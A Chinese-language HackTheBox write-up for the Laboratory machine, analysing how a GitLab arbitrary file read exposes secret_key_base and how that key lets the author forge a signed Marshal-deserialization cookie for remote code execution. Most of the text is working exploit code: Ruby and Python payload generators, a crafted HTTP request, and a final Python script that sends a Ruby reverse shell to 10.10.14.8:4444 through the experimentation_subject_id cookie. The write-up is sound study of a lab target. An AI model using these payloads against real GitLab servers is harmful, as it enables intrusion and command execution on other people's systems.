0x00 前言

前天上hackthebox玩了一台靶机Laboratory,发现是利用gitlab任意文件读取漏洞进行getshell的,我看了挺多相关的walkthrough,都没有说最后getshell的原理,都是直接上msf就完事了。怎么一个任意文件读取漏洞都能直接getshell,看着一知半解不是很舒服,遂研究。

0x01 寻找源头

1、Hackone

起初是William Bowling (vakzz)在Hackone提交了这个漏洞下面是漏洞详细的链接:https://hackerone.com/reports/827052这个页面一开始是讲到了这个任意文件读取的缺陷,UploadsRewriter 函数没有验证文件名导致的任意文件读取,gitlab评估了这个漏洞值1000美元。事情发生了转变,作者在后面补上了这个https://gitlab.com/gitlab-org/gitlab-foss/-/blob/master/config/initializers/cookies_serializer.rb#L4cookies_serializer 设置了默认值 :hybrid 可能会导致远程命令执行漏洞

  • 利用上面的任意文件读取漏洞读取/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml里面的secret_key_base
  • 利用secret_key_base值生成payload
  • 将payload封装在cookie的 experimentation_subject_id 
  • 发送完成攻击

作者给了一段生成payload的代码:

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `echo vakzz was here > /tmp/vakzz` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

一开始我看到这个有点懵,但是我不熟悉Ruby啊。那就照葫芦画瓢在kali输入irb输入上面的代码,一顿操作猛如虎,一看错误二百五~image.png有点头疼,那且先放一边,再往下看。作者执行后,发送get数据包,成功执行了命令:

curl -vvv 'http://gitlab-vm.local/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiYiNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBlY2hvIHZha3p6IHdhcyBoZXJlID4gL3RtcC92YWt6emAgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpUOglAdmFySSIMQHJlc3VsdAY7ClQ=--ef9c244a1f6b4724c1d3cbf045f8ee28a42d4b06"

后面gitlab重新定级给了作者20000美金!后来我再细读我才知道,作者这个是在装有gitlab的rails console 上面执行的,下面是执行的结果:image.png

2、作者的PDF

还是看不懂,怎么就getshell了啊,继续搜索。看到作者写的一个关于这个漏洞的PDF文件:https://devcraft.io/assets/hacktivitycon-slides.pdf里面在RCE那一块给了一个链接:https://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/读英文还是有点吃力哈,文章说的是如何使用secret_token来入侵rails的应用一个session cookie例子:

_MyApp_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJTcyZTAwMmRjZTg2NTBiZmI0M2UwZmY0MjEyNGJjODBhBjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiMWhmYTBKSGQwYVQxRlhnTFZWK2FEZEVhbEtLbDBMSitoVEo5YU4zR2dxM3M9BjsARg%3D%3D--dc40a55cd52fe32bb3b84ae0608956dfb5824689

原文:

The cookie value (the part after the =) is split into 2 parts, separated by --. The first part is a Base64 encoded serialization of the hash that Rails will use as the session variable in controllers. The second part is a signature created using secret_token, that Rails uses to check that the cookie it has been passed is legit. This prevents users from forging nefarious cookies and from tricking Rails into loading data it doesn’t want to load. Unless of course they have your secret_token and can also forge the signature…

意思是说可这个cookie分为两部分,中间用–分开,第一部分是用Base64进行编码序列化的session哈希,第二部分是使用secret_token创建的签名值。来看下最主要的一部分:

But wait, the cookie obviously lives on the client side, which means that a user can set it to be anything they want. Which means that the user can pass in whatever serialized object they want to our app. And by the time we reinflate it and realise that they have passed us a small thermonuclear device, it will be too late and the attacker will be able to execute arbitrary code on our server. That’s where our secret_token and the second part of the cookie value (the part after the --) come in. Whenever Rails gets a session cookie, it checks that it hasn’t been tampered with by verifying that the HMAC digest of the first part of the cookie with its secret_token matches the second, signature part. This means in order to craft a nefarious cookie an attacker would need to know the app’s secret_token. Unfortunately, just being called secret_token doesn’t make it secret, and, as already discussed, if you aren’t careful then it can easily end up somewhere you don’t want it to.

说的是cookie是由客户端来控制的,每当Rails获得会话cookie时,它都会通过验证cookie的第一部分的HMAC摘要来检查它是否未被篡改。与secret_token第二个签名部分相匹配。这意味着,为了制作恶意的Cookie,攻击者需要知道该应用程序的secret_token说白了,就是有secret_token就可以构造反序列化漏洞。难点就是在于第一部分,怎么去序列化,作者给出了一个方案:

# Thanks to the folks at CodeClimate for pointing this out

# The code in the ERB will run when Rails unserializes it
erb = ERB.allocate
erb.instance_variable_set :@src, "User.steal_all_passwords; User.email_spam_to_all_users;"

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
my_evil_session_hash = {
    "proxy_of_death" => Marshal.dump(proxy)
}
# ... continue as above

使用Ruby里面的erb模块进行构造。

3、Metasploit源码

看了一遍,搜索了很多资料,都没有看到rails反序列化、关于gitlab cookie反序列化攻击的文章。现在就直接从msf里面的攻击源码入手。用的模块是multi/http/gitlab_file_read_rceimage.png执行结果:image.png源码路径:/usr/share/metasploit-framework/modules/exploits/multi/http/gitlab_file_read_rce.rb或者在GitHub上面查看:https://github.com/rapid7/metasploit-framework/blob/54b4a503658209aa569512997f2c52bc347ed20b/modules/exploits/multi/http/gitlab_file_read_rce.rb

0x02 提取与分析攻击源码

既然搜索不到有关信息,那就从攻击的源码进行提取与分析。首先看msf执行的exploit函数源码:

  def exploit
    secret_key_base = read_secret_key_base #获取secret_key_base

    payload = build_payload #生成payload
    signed_cookie = sign_payload(secret_key_base, payload) #利用payload生成签名
    #发起攻击
    send_request_cgi({ 
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'cookie' => "experimentation_subject_id=#{signed_cookie}"
    })
  end

获取secret_key_base的部分就不写了,可以去看下CVE-2020-10977漏洞执行的过程,主要是看下它getshell的部分。首先是build_payload 的函数,这里主要是构造要执行的反弹shell。

  def build_payload
    code = "eval('#{::Base64.strict_encode64(detached_payload_stub(payload.encoded))}'.unpack('m0').first)"

    # Originally created with Active Support 6.x
    #   code = '`curl 10.10.15.26`'
    #   erb = ERB.allocate; nil
    #   erb.instance_variable_set(:@src, code);
    #   erb.instance_variable_set(:@filename, "1")
    #   erb.instance_variable_set(:@lineno, 1)
    #   value = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
    #   Marshal.dump(value)
    "\x04\b" \
      'o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy' \
        "\t:\x0E@instance" \
          "o:\bERB" \
            "\b" \
              ":\t@src#{Marshal.dump(code)[2..-1]}" \
              ":\x0E@filename\"\x061" \
              ":\f@linenoi\x06" \
          ":\f@method:\vresult" \
          ":\t@var\"\f@result" \
        ":\x10@deprecatorIu:\x1FActiveSupport::Deprecation\x00\x06:\x06ET"
  end

我从msf中输出执行后的结果,进行base64解码,下面是解码过程:第一部分的编码:

BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgg6CUBzcmMiAqcEZXZhbCgnWTI5a1pTQTlJQ2RaTWpscldsTkJPVWxEVlc5Wk1qRlhaVWRTV0dKSWJHRlZNRVoxV1hwSk5XRnRSWGxXYWtKTFpXNVNjVlZHV2xOU1JsWkhWRzVhV2sxdVVuTmFSVTB4WkZad1dWa3lPVXBoYTFZelZFZHdSbVF3ZUhGU1ZFSk5ZVzFrY0ZSRlRrSk5SVFZGVlZSQ1RGWklUbkpaZWs1VFlUSkdXRTVJVm1waVZsb3lXVEJrVjJSVmRFaFVXRUpRWlZaS05scEZaRk5rYlZKWlZWaFdhbUpXV2pKWk1HUlhaRlYwU0ZSWVFsQmxWa28yV2tWa1UySkhUblZUV0ZacVlsWmFNbGt3WkZka1ZYUklWRmhDVUdWV1NqWmFSV1JUWTBkS2NFNVhlRnBXTURWMlYwUktOR05IU25SV2FtUnRVak5uTkZsclVYaGpNSGgxVkdwQ2FtSlhlRE5VZWtreFlrZFdTVlZYWkdoV01XeHVXV3ROTVdNeGNGaE9WelZyVWpKak5WVkdVa0pPTUhSR1lrWkNUV0pyU2pKWk1HUlhaRlYwU0dRelRrcGlhM0J3VTFkc2MwNHlXa2hYYlhSdFVUQktkRmRyVFRGaVJteFlWRzA1V1UxdWFIZFpiVEZXV2pKVmVtVklXbTFSTUVweFZFYzFRMDFYVWtsVVZ6bHBaVlJXTmxwRmFFdGpSMDVFWVRKa2JWZEVRbmRUVldoTFlrZE5lVlJxUm1GVk1Fb3hXVlprTTFveVdsSlFWREJ3VEc1V2RXTkhSbXBoZVdkc1MwY3dkMHRUYTNWYWJXeDVZek5SUzJGWFdXZFZiRlpEVjFZNVVWUkZSbFZTYXpsVFZGTkJPV1pwUVhaaVdFNHpZVmMxT0dKWGJIVmFNMlE0WkRKc2RVMTZTWFpEYld4MVkwTkJPVWxGYkZCTWJrSjJZMGRXZFV0RFZXOWpibFpwWlZOcmMwbERWVzlrTWtsd1MxTkNlVnBZVG1wa1YxVm5ZbTFzYzBOdGJHMUpSMngxWTBGd2NHSnVRWFZrTTBwd1pFZFZiMWt5T1d0YVUydExZVmMxZDB4dFRuTmlNMDVzUTIxV2RWcEJjR3hpU0U1c1EyMXNiVWxEUldkVlNFcDJXVEpXZW1ONU5XMWlNMHB5UzBOclMxcFlXbWhpUTJocVlqSlNiRXRUUW5sYVdFNXFaRmRWWjJKdGJITkRiVloxV2tGd2JHSnRVVDBuTG5WdWNHRmpheWdpYlRBaUtTNW1hWEp6ZEFwcFppQlNWVUpaWDFCTVFWUkdUMUpOSUQxK0lDOXRjM2RwYm54dGFXNW5kM3gzYVc0ek1pOEthVzV3SUQwZ1NVOHVjRzl3Wlc0b0luSjFZbmtpTENBaWQySWlLU0J5WlhOamRXVWdibWxzQ21sbUlHbHVjQXBwYm5BdWQzSnBkR1VvWTI5a1pTa0thVzV3TG1Oc2IzTmxDbVZ1WkFwbGJITmxDa3RsY201bGJDNW1iM0pySUdSdkNtVjJZV3dvWTI5a1pTa0taVzVrQ21WdVpBcDdmUT09Jy51bnBhY2soJ20wJykuZmlyc3QpOg5AZmlsZW5hbWUiBjE6DEBsaW5lbm9pBjoMQG1ldGhvZDoLcmVzdWx0OglAdmFyIgxAcmVzdWx0OhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOgZFVA==

解码后,可以看出还有一段base64:image.png继续解码,可以看出还有一层编码:image.png还有一层。。。:image.png再继续,最后可以看出是ruby反弹shell的代码:image.png上面的过程就是下面这句代码的构造过程,但是我们并不需要这样去构造那么多东西。

 code = "eval('#{::Base64.strict_encode64(detached_payload_stub(payload.encoded))}'.unpack('m0').first)"

经过不断的测试和输出调试结果,我提取出了可以构造payload的ruby源码:

require 'erb'
require 'active_support'
require 'base64'
require 'openssl'
  # From Rails
secret_key_base="3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3"
  class MessageVerifier

    class InvalidSignature < StandardError
    end

    def initialize(secret, options = {})
      @secret = secret
      @digest = options[:digest] || 'SHA1'
      @serializer = options[:serializer] || Marshal
    end

    def generate(value)
      data = ::Base64.strict_encode64(@serializer.dump(value))
      "#{data}--#{generate_digest(data)}"
    end

    def generate_digest(data)
      require 'openssl' unless defined?(OpenSSL)
      OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
    end

  end

  class NoopSerializer
    def dump(value)
      value
    end
  end

  class KeyGenerator

    def initialize(secret, options = {})
      @secret = secret
      @iterations = options[:iterations] || 2**16
    end

    def generate_key(salt, key_size = 64)
      OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
    end

  end

  def sign_payload(secret_key_base, payload)
    key_generator = KeyGenerator.new(secret_key_base, { iterations: 1000 })
    key = key_generator.generate_key('signed cookie')
    verifier = MessageVerifier.new(key, { serializer: NoopSerializer.new })
    verifier.generate(payload)
  end


code = '`curl 10.10.14.8`'
erb = ERB.allocate; nil
erb.instance_variable_set(:@src, code);
erb.instance_variable_set(:@filename, "1")
erb.instance_variable_set(:@lineno, 1)
value = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
payload = Marshal.dump(value)
signed_cookie = sign_payload(secret_key_base, payload)
puts signed_cookie

0x03 用Ruby编写生成payload脚本

感觉代码太多,我再简化了一下,编写出生成payload的ruby脚本:

require 'erb'
require 'active_support'
require 'openssl'
require 'base64'
secret_token = "3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3"
secret=OpenSSL::PKCS5.pbkdf2_hmac_sha1(secret_token, 'signed cookie', 1000, 64)#经过加盐的token
code = '`curl 10.10.14.8`'#要执行的命令
#下面是构造序列化的过程
erb = ERB.allocate; nil
erb.instance_variable_set(:@src, code);
erb.instance_variable_set(:@filename, "1")
erb.instance_variable_set(:@lineno, 1)
value = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
data = ::Base64.strict_encode64(Marshal.dump(value))#进行base64编码
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)#利用base64编码的payload和加盐的token生成签名

puts "#{data}--#{cookie_signature}" #输出结果

把生成的Cookie进行测试:

GET /users/sign_in HTTP/1.1

Host: git.laboratory.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://git.laboratory.htb/test/b/issues/1

Connection: close

Cookie: experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgg6CUBzcmNJIhZgY3VybCAxMC4xMC4xNC44YAY6BkVUOg5AZmlsZW5hbWVJIgYxBjsJVDoMQGxpbmVub2kGOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsJVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsJVA==--279c4777159b8d182330d2117c8774d4b44debe4

Upgrade-Insecure-Requests: 1

可以看到已经执行了我们的命令:image.png

0x04 用Python编写生成payload脚本

我感觉Ruby虽然好,但是总感觉Python大法方便以后可以加入各种框架中,遂编写。

from hashlib import pbkdf2_hmac,sha1
import base64
import hmac
import requests
import urllib3
urllib3.disable_warnings()
#经过加盐的key
key = pbkdf2_hmac(
    hash_name = 'sha1', 
    password = b"3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3", 
    salt = b"signed cookie", #这个盐是gitlab里面固定的值
    iterations = 1000, 
    dklen = 64
)
#经过序列化的payload
code='\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0e@instanceo:\x08ERB\x08:\t@srcI"\x16`curl 10.10.14.8`\x06:\x06ET:\x0e@filenameI"\x061\x06;\tT:\x0c@linenoi\x06:\x0c@method:\x0bresult:\t@varI"\x0c@result\x06;\tT:\x10@deprecatorIu:\x1fActiveSupport::Deprecation\x00\x06;\tT'
#生成签名
cookie_signature = hmac.new(key, base64.b64encode(code), sha1)
payload =base64.b64encode(code)+'--'+cookie_signature.hexdigest()
#发起攻击
cookies = {'experimentation_subject_id':payload}
res = requests.get("https://git.laboratory.htb/users/sign_in",cookies=cookies,verify=False)
print res.status_code

中间从Ruby转化为Python卡了,因为生成序列化后的payload这里有编码问题,弄了挺久的。

   # Originally created with Active Support 6.x
    code = '`curl 10.10.15.26`'
    erb = ERB.allocate; nil
    erb.instance_variable_set(:@src, code);
    erb.instance_variable_set(:@filename, "1")
    erb.instance_variable_set(:@lineno, 1)
    value = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
    Marshal.dump(value)

上面是msf给的生成序列化的payload代码,下面是序列化后的,替换掉中间的#{Marshal.dump(code)[2..-1]} 生成payload还是有错误。

 "\x04\b" \
      'o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy' \
        "\t:\x0E@instance" \
          "o:\bERB" \
            "\b" \
              ":\t@src#{Marshal.dump(code)[2..-1]}" \
              ":\x0E@filename\"\x061" \
              ":\f@linenoi\x06" \
          ":\f@method:\vresult" \
          ":\t@var\"\f@result" \
        ":\x10@deprecatorIu:\x1FActiveSupport::Deprecation\x00\x06:\x06ET"

不断的进行修改、测试、调试,反反复复,终于想到了一个好的办法。用ruby生成的序列化后的payload,这个过程在irb命令行上面写就能显示出特殊的编码:image.png那这样就可以愉快的转到python上面执行了。下面是反弹shell的脚本:

from hashlib import pbkdf2_hmac,sha1
import base64
import hmac
import requests
import urllib3
urllib3.disable_warnings()
key = pbkdf2_hmac(
    hash_name = 'sha1', 
    password = b"3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3", 
    salt = b"signed cookie", 
    iterations = 1000, 
    dklen = 64
)
ip = '10.10.14.8'
port = '4444'
code='\x04\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0E@instanceo:\bERB\b:\t@srcI\"\x01\x80`ruby -rsocket -e \'exit if fork;c=TCPSocket.new(\"'+ip+'\",'+port+');while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end\'`\x06:\x06ET:\x0E@filenameI\"\x061\x06;\tT:\f@linenoi\x06:\f@method:\vresult:\t@varI\"\f@result\x06;\tT:\x10@deprecatorIu:\x1FActiveSupport::Deprecation\x00\x06;\tT'

cookie_signature = hmac.new(key, base64.b64encode(code), sha1)
payload =base64.b64encode(code)+'--'+h.hexdigest()
cookies = {'experimentation_subject_id':payload}
res = requests.get("https://git.laboratory.htb/users/sign_in",cookies=cookies,verify=False)
print payload

0x05 结束

搞这个问题弄了我两天两夜,问题的根源还是来自自己的技术太菜了。。。